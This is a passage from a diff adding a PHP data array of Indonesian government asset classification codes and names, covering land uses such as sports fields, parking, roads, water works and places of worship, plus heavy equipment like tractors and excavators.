'sub_kelompok' => '01', + 'sub_sub_kelompok' => '003', + 'nama' => 'TANAH LAPANGAN BADMINTON/BULUTANGKIS', + ], + [ + 'id_aset' => 282, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '13', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '004', + 'nama' => 'TANAH LAPANGAN GOLF', + ], + [ + 'id_aset' => 283, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '13', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '005', + 'nama' => 'TANAH LAPANGAN SEPAK BOLA', + ], + [ + 'id_aset' => 284, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '13', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '006', + 'nama' => 'TANAH LAPANGAN BOLA VOLLY', + ], + [ + 'id_aset' => 285, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '13', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '007', + 'nama' => 'TANAH LAPANGAN SEPAK TAKRAW', + ], + [ + 'id_aset' => 286, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '13', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '008', + 'nama' => 'TAANH LAPANGAN PACUAN KUDA', + ], + [ + 'id_aset' => 287, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '13', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '009', + 'nama' => 'TANAH LAPANGAN BALAP SEPEDA', + ], + [ + 'id_aset' => 288, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '13', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '010', + 'nama' => 'TANAH LAPANGAN ATLETIK', + ], + [ + 'id_aset' => 289, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '13', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '011', + 'nama' => 'TANAH LAPANGAN SOFTBALL', + ], + [ + 'id_aset' => 290, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '13', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '999', + 'nama' => 'TANAH LAPANGAN OLAHRAGA LAINNYA', + ], + [ + 'id_aset' => 291, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '13', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '000', + 'nama' => 'TANAH LAPANGAN PARKIR', + ], + [ + 'id_aset' => 292, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '13', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '001', + 'nama' => 'TANAH LAPANGAN PARKIR KONTRUKSI BETON', + ], + [ + 'id_aset' => 293, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '13', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '002', + 'nama' => 'TANAH LAPANGAN PARKIR KONTRUKSI ASPAL', + ], + [ + 'id_aset' => 294, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '13', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '003', + 'nama' => 'TANAH LAPANGAN PARKIR SIRTU (PASIR BATU)', + ], + [ + 'id_aset' => 295, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '13', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '004', + 'nama' => 'TANAH LAPANGAN PARKIR KONBLOK', + ], + [ + 'id_aset' => 296, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '13', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '005', + 'nama' => 'TANAH LAPANGAN PARKIR TANAH KERAS', + ], + [ + 'id_aset' => 297, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '13', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '999', + 'nama' => 'TANAH LAPANGAN PARKIR LAINNYA', + ], + [ + 'id_aset' => 298, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '13', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '000', + 'nama' => 'TANAH LAPANGAN PENIMBUN BARANG', + ], + [ + 'id_aset' => 299, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '13', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '001', + 'nama' => 'TANAH LAPANGAN PENIMBUN BARANG BELUM DIOLAH', + ], + [ + 'id_aset' => 300, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '13', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '002', + 'nama' => 'TANAH LAPANGAN PENIMBUN BARANG JADI', + ], + [ + 'id_aset' => 301, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '13', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '003', + 'nama' => 'TANAH LAPANGAN PENIMBUN PEMBUANGAN SAMPAH', + ], + [ + 'id_aset' => 302, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '13', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '004', + 'nama' => 'TANAH LAPANGAN PENIMBUN BAHAN BANGUNAN', + ], + [ + 'id_aset' => 303, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '13', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '005', + 'nama' => 'TANAH LAPANGAN PENIMBUN BARANG BUKTI', + ], + [ + 'id_aset' => 304, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '13', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '999', + 'nama' => 'TANAH LAPANGAN PENIMBUN BARANG LAINNYA', + ], + [ + 'id_aset' => 305, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '13', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '000', + 'nama' => 'TANAH LAPANGAN PEMANCAR DAN STUDIO ALAM', + ], + [ + 'id_aset' => 306, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '13', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '001', + 'nama' => 'TANAH LAPANGAN PEMANCAR TV/RADIO/RADAR', + ], + [ + 'id_aset' => 307, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '13', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '002', + 'nama' => 'TANAH LAPANGAN STUDIO ALAM', + ], + [ + 'id_aset' => 308, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '13', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '003', + 'nama' => 'TANAH LAPANGAN PEMANCAR LAINNYA', + ], + [ + 'id_aset' => 309, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '13', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '999', + 'nama' => 'TANAH LAPANGAN PEMANCAR DAN STUDIO ALAM LAINNYA', + ], + [ + 'id_aset' => 310, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '13', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '000', + 'nama' => 'TANAH LAPANGAN PENGUJIAN/PENGOLAHAN', + ], + [ + 'id_aset' => 311, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '13', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '001', + 'nama' => 'TANAH LAPANGAN PENGUJIAN KENDARAAN BERMOTOR', + ], + [ + 'id_aset' => 312, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '13', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '002', + 'nama' => 'TANAH LAPANGAN PENGELOLAAN BAHAN BANGUNAN', + ], + [ + 'id_aset' => 313, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '13', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '999', + 'nama' => 'TANAH LAPANGAN PENGUJIAN/PENGOLAHAN LAINNYA', + ], + [ + 'id_aset' => 314, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '13', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '000', + 'nama' => 'TANAH LAPANGAN TERBANG', + ], + [ + 'id_aset' => 315, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '13', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '001', + 'nama' => 'TANAH LAPANGAN TERBANG PERINTIS', + ], + [ + 'id_aset' => 316, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '13', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '002', + 'nama' => 'TANAH LAPNGAN KOMERSIAL', + ], + [ + 'id_aset' => 317, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '13', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '003', + 'nama' => 'TANAH LAPANGAN TERBANG KHUSUS/MILITER', + ], + [ + 'id_aset' => 318, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '13', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '004', + 'nama' => 'TANAH LAOPANGAN TERBANG OLAH RAGA', + ], + [ + 'id_aset' => 319, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '13', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '005', + 'nama' => 'TANAH LAPANGAN TERBANG PENDIDIKAN', + ], + [ + 'id_aset' => 320, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '13', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '999', + 'nama' => 'TANAH LAPANGAN TERBANG LAINNYA', + ], + [ + 'id_aset' => 321, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '13', + 'sub_kelompok' => '07', + 'sub_sub_kelompok' => '000', + 'nama' => 'TANAH UNTUK BANGUNAN JALAN', + ], + [ + 'id_aset' => 322, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '13', + 'sub_kelompok' => '07', + 'sub_sub_kelompok' => '001', + 'nama' => 'TANAH UNTUK JALAN NASIONAL', + ], + [ + 'id_aset' => 323, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '13', + 'sub_kelompok' => '07', + 'sub_sub_kelompok' => '002', + 'nama' => 'TANAH UNTUK JALAN PROPINSI', + ], + [ + 'id_aset' => 324, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '13', + 'sub_kelompok' => '07', + 'sub_sub_kelompok' => '003', + 'nama' => 'TANAH UNTUK JALAN KABUPATEN', + ], + [ + 'id_aset' => 325, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '13', + 'sub_kelompok' => '07', + 'sub_sub_kelompok' => '004', + 'nama' => 'TANAH UNTUK JALAN KOTAMADYA', + ], + [ + 'id_aset' => 326, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '13', + 'sub_kelompok' => '07', + 'sub_sub_kelompok' => '005', + 'nama' => 'TANAH UNTUK JALAN DESA', + ], + [ + 'id_aset' => 327, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '13', + 'sub_kelompok' => '07', + 'sub_sub_kelompok' => '006', + 'nama' => 'TANAH UNTUK JALAN TOL', + ], + [ + 'id_aset' => 328, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '13', + 'sub_kelompok' => '07', + 'sub_sub_kelompok' => '007', + 'nama' => 'TANAH UNTUK JALAN KERETA API/LORI', + ], + [ + 'id_aset' => 329, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '13', + 'sub_kelompok' => '07', + 'sub_sub_kelompok' => '008', + 'nama' => 'TANAH UNTUK JALAN LANDASAN PACU PESAWAT TERBANG', + ], + [ + 'id_aset' => 330, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '13', + 'sub_kelompok' => '07', + 'sub_sub_kelompok' => '009', + 'nama' => 'TANAH UNTUK JALAN KHUSUS/KOMPLEK', + ], + [ + 'id_aset' => 331, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '13', + 'sub_kelompok' => '07', + 'sub_sub_kelompok' => '999', + 'nama' => 'TANAH UNTUK BANGUNAN JALAN LAINNYA', + ], + [ + 'id_aset' => 332, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '13', + 'sub_kelompok' => '08', + 'sub_sub_kelompok' => '000', + 'nama' => 'TANAH UNTUK BANGUNAN AIR', + ], + [ + 'id_aset' => 333, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '13', + 'sub_kelompok' => '08', + 'sub_sub_kelompok' => '001', + 'nama' => 'TANAH UNTUK BANGUNAN AIR IRIGASI', + ], + [ + 'id_aset' => 334, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '13', + 'sub_kelompok' => '08', + 'sub_sub_kelompok' => '002', + 'nama' => 'TANAH UNTUK BANGUNAN PENGAIRAN PASANG SURUT', + ], + [ + 'id_aset' => 335, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '13', + 'sub_kelompok' => '08', + 'sub_sub_kelompok' => '003', + 'nama' => 'TANAH UNTUK BANGUNAN PENGEMBANGAN RAWA DAN POLDER', + ], + [ + 'id_aset' => 336, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '13', + 'sub_kelompok' => '08', + 'sub_sub_kelompok' => '004', + 'nama' => 'TANAH UNTUK BANGUNAN PENGAMAN SUNGAI DAN PENANGGULANGAN BENCANA ALAM', + ], + [ + 'id_aset' => 337, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '13', + 'sub_kelompok' => '08', + 'sub_sub_kelompok' => '005', + 'nama' => 'TANAH UNTUK BANGUNAN PENGEMBANGAN SUMBER AIR DAN AIR TNH', + ], + [ + 'id_aset' => 338, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '13', + 'sub_kelompok' => '08', + 'sub_sub_kelompok' => '006', + 'nama' => 'TANAH UNTUK BANGUNAN AIR BERSIH/AIR BAKU', + ], + [ + 'id_aset' => 339, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '13', + 'sub_kelompok' => '08', + 'sub_sub_kelompok' => '007', + 'nama' => 'TANAH UNTUK BANGUNAN AIR KOTOR', + ], + [ + 'id_aset' => 340, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '13', + 'sub_kelompok' => '08', + 'sub_sub_kelompok' => '999', + 'nama' => 'TANAH UNTUK BANGUNAN AIR LAINNYA', + ], + [ + 'id_aset' => 341, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '13', + 'sub_kelompok' => '09', + 'sub_sub_kelompok' => '000', + 'nama' => 'TANAH UNTUK BANGUNAN INSTALASI', + ], + [ + 'id_aset' => 342, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '13', + 'sub_kelompok' => '09', + 'sub_sub_kelompok' => '001', + 'nama' => 'TANAH UNTUK BANGUNAN INSTALASI AIR BERSIH/AIR BAKU', + ], + [ + 'id_aset' => 343, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '13', + 'sub_kelompok' => '09', + 'sub_sub_kelompok' => '002', + 'nama' => 'TANAH UNTUK BANGUNAN INSTALASI AIR KOTOR/AIR LIMBAH', + ], + [ + 'id_aset' => 344, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '13', + 'sub_kelompok' => '09', + 'sub_sub_kelompok' => '003', + 'nama' => 'TANAH UNTUK BANGUNAN INSTALASI PENGELOHAN SAMPAH', + ], + [ + 'id_aset' => 345, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '13', + 'sub_kelompok' => '09', + 'sub_sub_kelompok' => '004', + 'nama' => 'TANAH UNTUK BANGUNAN INSTALASI PENGOLAHAN BAHAN BANGUNAN', + ], + [ + 'id_aset' => 346, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '13', + 'sub_kelompok' => '09', + 'sub_sub_kelompok' => '005', + 'nama' => 'TANAH UNTUK BANGUNAN INSTALASI LISTRIK', + ], + [ + 'id_aset' => 347, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '13', + 'sub_kelompok' => '09', + 'sub_sub_kelompok' => '006', + 'nama' => 'TANAH UNTUK BANGUNAN INSTALASI GARDU LISTRIK', + ], + [ + 'id_aset' => 348, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '13', + 'sub_kelompok' => '09', + 'sub_sub_kelompok' => '007', + 'nama' => 'TANAH UNTUK BANGUNAN PANGOLAHAN LIMBAH', + ], + [ + 'id_aset' => 349, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '13', + 'sub_kelompok' => '09', + 'sub_sub_kelompok' => '999', + 'nama' => 'TANAH UNTUK BANGUNAN INSTALASI LAINNYA', + ], + [ + 'id_aset' => 350, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '13', + 'sub_kelompok' => '10', + 'sub_sub_kelompok' => '000', + 'nama' => 'TANAH UNTUK BANGUNAN JARINGAN', + ], + [ + 'id_aset' => 351, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '13', + 'sub_kelompok' => '10', + 'sub_sub_kelompok' => '001', + 'nama' => 'TANAH UNTUK BANGUNAN JARINGAN AIR BERSIH/AIR BAKU', + ], + [ + 'id_aset' => 352, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '13', + 'sub_kelompok' => '10', + 'sub_sub_kelompok' => '002', + 'nama' => 'TANAH UNTUK BANGUNAN JARINGAN KOMUNIKASI', + ], + [ + 'id_aset' => 353, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '13', + 'sub_kelompok' => '10', + 'sub_sub_kelompok' => '003', + 'nama' => 'TANAH UNTUK BANGUNAN JARINGAN LISTRIK', + ], + [ + 'id_aset' => 354, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '13', + 'sub_kelompok' => '10', + 'sub_sub_kelompok' => '004', + 'nama' => 'TANAH UNTUK BANGUNAN JARINGAN GAS/BBM', + ], + [ + 'id_aset' => 355, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '13', + 'sub_kelompok' => '10', + 'sub_sub_kelompok' => '999', + 'nama' => 'TANAH UNTUK BANGUNAN JARINGAN LAINNYA', + ], + [ + 'id_aset' => 356, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '13', + 'sub_kelompok' => '11', + 'sub_sub_kelompok' => '000', + 'nama' => 'TANAH UNTUK BANGUNAN BERSEJARAH', + ], + [ + 'id_aset' => 357, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '13', + 'sub_kelompok' => '11', + 'sub_sub_kelompok' => '001', + 'nama' => 'TANAH UNTUK MONUMEN', + ], + [ + 'id_aset' => 358, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '13', + 'sub_kelompok' => '11', + 'sub_sub_kelompok' => '002', + 'nama' => 'TANAH UNTUK TUGU PERINGATAN', + ], + [ + 'id_aset' => 359, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '13', + 'sub_kelompok' => '11', + 'sub_sub_kelompok' => '003', + 'nama' => 'TANAH UNTUK TUGU BATAS WILAYAH', + ], + [ + 'id_aset' => 360, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '13', + 'sub_kelompok' => '11', + 'sub_sub_kelompok' => '004', + 'nama' => 'TANAH UNTUK CANDI', + ], + [ + 'id_aset' => 361, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '13', + 'sub_kelompok' => '11', + 'sub_sub_kelompok' => '005', + 'nama' => 'TANAH UNTUK BANGUNAN MOSEUM', + ], + [ + 'id_aset' => 362, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '13', + 'sub_kelompok' => '11', + 'sub_sub_kelompok' => '006', + 'nama' => 'TANAH UNTUK BANGUNAN BERSEJARAH', + ], + [ + 'id_aset' => 363, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '13', + 'sub_kelompok' => '11', + 'sub_sub_kelompok' => '999', + 'nama' => 'TANAH UNTUK BANGUNAN BERSEJARAH LAINNYA', + ], + [ + 'id_aset' => 364, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '13', + 'sub_kelompok' => '12', + 'sub_sub_kelompok' => '000', + 'nama' => 'TANAH UNTUK BANGUNAN GEDUNG OLAH RAGA', + ], + [ + 'id_aset' => 365, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '13', + 'sub_kelompok' => '12', + 'sub_sub_kelompok' => '001', + 'nama' => 'TANAH BANGUNAN SARANA OLAOH RAGA TERBATAS', + ], + [ + 'id_aset' => 366, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '13', + 'sub_kelompok' => '12', + 'sub_sub_kelompok' => '002', + 'nama' => 'TANAH BANGUNAN SARANA OLAH RAGA TERBUKA', + ], + [ + 'id_aset' => 367, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '13', + 'sub_kelompok' => '12', + 'sub_sub_kelompok' => '999', + 'nama' => 'TANAH BANGUNAN SARANA OLAH RAGA LAINNYA', + ], + [ + 'id_aset' => 368, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '13', + 'sub_kelompok' => '13', + 'sub_sub_kelompok' => '000', + 'nama' => 'TANAH UNTUK BANGUNAN TEMPAT IBADAH', + ], + [ + 'id_aset' => 369, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '13', + 'sub_kelompok' => '13', + 'sub_sub_kelompok' => '001', + 'nama' => 'TANAH UNTUK BANGUNAN MESJID', + ], + [ + 'id_aset' => 370, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '13', + 'sub_kelompok' => '13', + 'sub_sub_kelompok' => '002', + 'nama' => 'TANAH UNTUK BANGUNAN GEREJA', + ], + [ + 'id_aset' => 371, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '13', + 'sub_kelompok' => '13', + 'sub_sub_kelompok' => '003', + 'nama' => 'TANAH UNTUK BANGUNAN PURA', + ], + [ + 'id_aset' => 372, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '13', + 'sub_kelompok' => '13', + 'sub_sub_kelompok' => '004', + 'nama' => 'TANAH UNTUK BANGUNAN VIHARA', + ], + [ + 'id_aset' => 373, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '13', + 'sub_kelompok' => '13', + 'sub_sub_kelompok' => '005', + 'nama' => 'TANAH UNTUK BANGUNAN KLENTENG/KUIL', + ], + [ + 'id_aset' => 374, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '13', + 'sub_kelompok' => '13', + 'sub_sub_kelompok' => '006', + 'nama' => 'TANAH UNTUK BANGUNAN KREMATORIUM', + ], + [ + 'id_aset' => 375, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '13', + 'sub_kelompok' => '13', + 'sub_sub_kelompok' => '999', + 'nama' => 'TANAH UNTUK BANGUNAN TAMPAT IBADAH LAINNYA', + ], + [ + 'id_aset' => 376, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '14', + 'sub_kelompok' => '00', + 'sub_sub_kelompok' => '000', + 'nama' => 'TANAH PENGGUNAAN LAINNYA', + ], + [ + 'id_aset' => 377, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '14', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '000', + 'nama' => 'PENGGALIAN', + ], + [ + 'id_aset' => 378, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '14', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '001', + 'nama' => 'PENGGALIAN', + ], + [ + 'id_aset' => 379, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '14', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '002', + 'nama' => 'TEMPAT AIR HANGAT', + ], + [ + 'id_aset' => 380, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '14', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '999', + 'nama' => 'TANAH PENGGUNAAN LAINNYA', + ], + [ + 'id_aset' => 381, + 'golongan' => '3', + 'bidang' => '00', + 'kelompok' => '00', + 'sub_kelompok' => '00', + 'sub_sub_kelompok' => '000', + 'nama' => 'PERALATAN DAN MESIN', + ], + [ + 'id_aset' => 382, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '00', + 'sub_kelompok' => '00', + 'sub_sub_kelompok' => '000', + 'nama' => 'ALAT BESAR', + ], + [ + 'id_aset' => 383, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '00', + 'sub_sub_kelompok' => '000', + 'nama' => 'ALAT BESAR DARAT', + ], + [ + 'id_aset' => 384, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '000', + 'nama' => 'TRACTOR', + ], + [ + 'id_aset' => 385, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '001', + 'nama' => 'CRAWLER TRACTOR + ATTACHMENT', + ], + [ + 'id_aset' => 386, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '002', + 'nama' => 'WHEEL TRACTOR + ATTACHMENT', + ], + [ + 'id_aset' => 387, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '003', + 'nama' => 'SWAMP TRACTOR + ATTACHMENT', + ], + [ + 'id_aset' => 388, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '004', + 'nama' => 'PRIME MOWER', + ], + [ + 'id_aset' => 389, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '005', + 'nama' => 'AIRCRAFT TOWING TRACTOR', + ], + [ + 'id_aset' => 390, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '006', + 'nama' => 'TOWING BAR', + ], + [ + 'id_aset' => 391, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '007', + 'nama' => 'BULLDOZER', + ], + [ + 'id_aset' => 392, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '008', + 'nama' => 'WHEEL DOZER', + ], + [ + 'id_aset' => 393, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '999', + 'nama' => 'TRACTOR LAINNYA', + ], + [ + 'id_aset' => 394, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '000', + 'nama' => 'GRADER', + ], + [ + 'id_aset' => 395, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '001', + 'nama' => 'GRADER + ATTACHMENT', + ], + [ + 'id_aset' => 396, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '002', + 'nama' => 'GRADER TOWED TYPE', + ], + [ + 'id_aset' => 397, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '999', + 'nama' => 'GRADER LAINNYA', + ], + [ + 'id_aset' => 398, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '000', + 'nama' => 'EXCAVATOR', + ], + [ + 'id_aset' => 399, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '001', + 'nama' => 'CRAWLER EXCAVATOR + ATTACHMENT', + ], + [ + 'id_aset' => 400, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '002', + 'nama' => 'WHEEL EXCAVATOR + ATTACHMENT', + ], + [ + 'id_aset' => 401, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '999', + 'nama' => 'EXCAVATOR LAINNYA', + ], + [ + 'id_aset' => 402, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '000', + 'nama' => 'PILE DRIVER', + ], + [ + 'id_aset' => 403, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '001', + 'nama' => 'DIESEL PILE DRIVER', + ], + [ + 'id_aset' => 404, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '002', + 'nama' => 'PNEUMATIC PILE DRIVER', + ], + [ + 'id_aset' => 405, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '003', + 'nama' => 'VIBRATION PILE DRIVER', + ], + [ + 'id_aset' => 406, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '999', + 'nama' => 'PILE DRIVER LAINNYA', + ], + [ + 'id_aset' => 407, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '000', + 'nama' => 'HAULER', + ], + [ + 'id_aset' => 408, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '001', + 'nama' => 'SELF PROPELLED 